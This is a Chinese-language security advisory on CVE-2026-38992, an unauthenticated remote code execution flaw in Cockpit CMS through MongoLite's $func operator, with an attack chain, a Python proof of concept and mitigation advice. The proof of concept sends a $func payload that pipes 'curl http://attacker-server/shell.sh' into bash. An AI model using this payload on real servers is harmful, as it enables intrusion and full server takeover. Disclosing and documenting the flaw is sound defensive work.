IPBUF安全漏洞报告
English
CVE-2026-38992 CVSS 9.8 严重

CVE-2026-38992 Cockpit CMS 远程代码执行漏洞

披露日期: 2026-04-29

漏洞信息

漏洞编号
CVE-2026-38992
漏洞类型
远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Cockpit CMS

相关标签

远程代码执行Cockpit CMSMongoLiteNoSQL注入RCE

漏洞概述

Cockpit CMS v2.13.5及更早版本在多个端点的filter参数中存在严重的远程代码执行漏洞。由于未对用户输入进行充分过滤,攻击者可以利用MongoLite数据库的$func运算符构建恶意请求,从而在底层基础设施上执行任意系统命令。该漏洞攻击复杂度低,无需用户交互且无需身份认证,成功利用可导致服务器被完全控制,造成数据泄露、篡改或服务中断。

技术细节

该漏洞根源在于Cockpit CMS处理MongoLite查询时的filter参数缺乏严格校验。MongoLite允许在查询中使用$func运算符执行JavaScript函数。攻击者通过向受影响端点发送特制的HTTP POST请求,在filter参数中注入包含$func的恶意JSON对象。该对象内的JavaScript代码可调用Node.js的child_process.exec方法执行系统级命令(如反弹Shell)。由于相关接口无需认证,未经授权的攻击者可直接利用此漏洞接管服务器。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标服务器上运行的是Cockpit CMS,且版本低于2.14.0。
STEP 2
2. 构造Payload
攻击者编写包含MongoLite $func运算符的恶意JSON数据,嵌入用于执行系统命令的JavaScript代码。
STEP 3
3. 发送请求
攻击者向存在漏洞的API端点发送包含恶意filter参数的POST请求。
STEP 4
4. 代码执行
服务器端解析请求,执行MongoLite查询,触发$func中的JavaScript代码,进而在底层操作系统执行任意命令。
STEP 5
5. 获取控制权
攻击者利用执行的命令建立反弹Shell或窃取数据,完全控制服务器。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # Target URL (Example endpoint) target = "http://vulnerable-host/api/cockpit/list" # Malicious payload using MongoLite $func operator payload = { "filter": { "$func": "function() { require('child_process').exec('curl http://attacker-server/shell.sh | bash'); return true; }" } } headers = { "Content-Type": "application/json" } try: r = requests.post(target, data=json.dumps(payload), headers=headers, timeout=5) print(f"Status Code: {r.status_code}") print(f"Response: {r.text}") except Exception as e: print(f"Error: {e}")

影响范围

Cockpit CMS <= 2.13.5

防御指南

临时缓解措施
如果无法立即升级,建议暂时封锁Cockpit API的外部访问权限,或在应用网关处配置规则,过滤请求体中包含特殊MongoLite运算符(如$func、$where等)的数据包。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表